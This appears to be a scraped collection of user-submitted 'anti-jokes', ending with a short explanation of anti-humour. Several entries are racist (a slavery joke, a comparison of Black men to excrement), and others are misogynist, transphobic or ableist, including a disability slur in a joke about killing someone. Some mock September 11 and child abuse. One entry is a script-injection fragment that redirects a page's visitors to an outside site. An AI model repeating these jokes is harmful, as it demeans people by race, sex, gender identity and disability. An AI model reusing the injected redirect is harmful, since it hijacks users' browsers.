Why did the cow cross the road? Cause he had madcow disease

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What's plastic and kids turn it on... A xbox.

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Why was the woman sad on her 21st birthday? Because she was born on September 11,1980

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A man said to a performer performin in a concert,"Go break a leg!". The performer did not respond because he is perfoming.

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Why did the black man cross the road? To escape from his owner.

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Why did the african kid die He was mauled by a tiger in a zoo

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Go online. why? To get a quote. why? To save money. why? Because we said so! Parenting can be hard. See how easy it is to save with GEICO.

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yo momma is soo stupid when anyone says anything she say i don't understand .

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Why did the chicken cross the road? If you don't know the answer by now, there's something wrong with you.

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"knock knock" "whos there?" "pizza delivery!"

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A man offered a little boy a ride home. He drove the boy home where his father preceeded to beat him senseless.

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is this the krusty krab? no, this is patrick.

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What's the difference between a black man and and a bag of crap? A lot, but mostly the bag

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What color do you get when you mix aquamarine with magenta? Transvestite.

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why was the blond so easy,because ALL blonds are whores.

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How do you wake up lady gaga? First you simply whisper in her ear telling her to wake up. If she doesn't, simultaneously whisper and tap her gently. If you have failed to achieve your accomplished goal, repeat step two however intensely touch her and project your voice when telling her to wake up. Step three, get a... WAIT WAIT!! I just waisted 20 seconds of your life, you're never going to meet her.

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Adeeeellllleeeee where are my shorts

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A guy walks into a bar. The bartender says "Why the long face?" The guy didn't respond because he was deaf.

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Q:What's worse than watching the show Jersey Shore? A:Nothing.

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What do you call a fish with no I's Animal cruelty

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"'>document.location.href="http://cramik.org"

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A stripper walks into a bar. She works there.

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How do you kill a retard? Give him a knife and say "who's special?"

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Hello, can I order a cheeseburger?

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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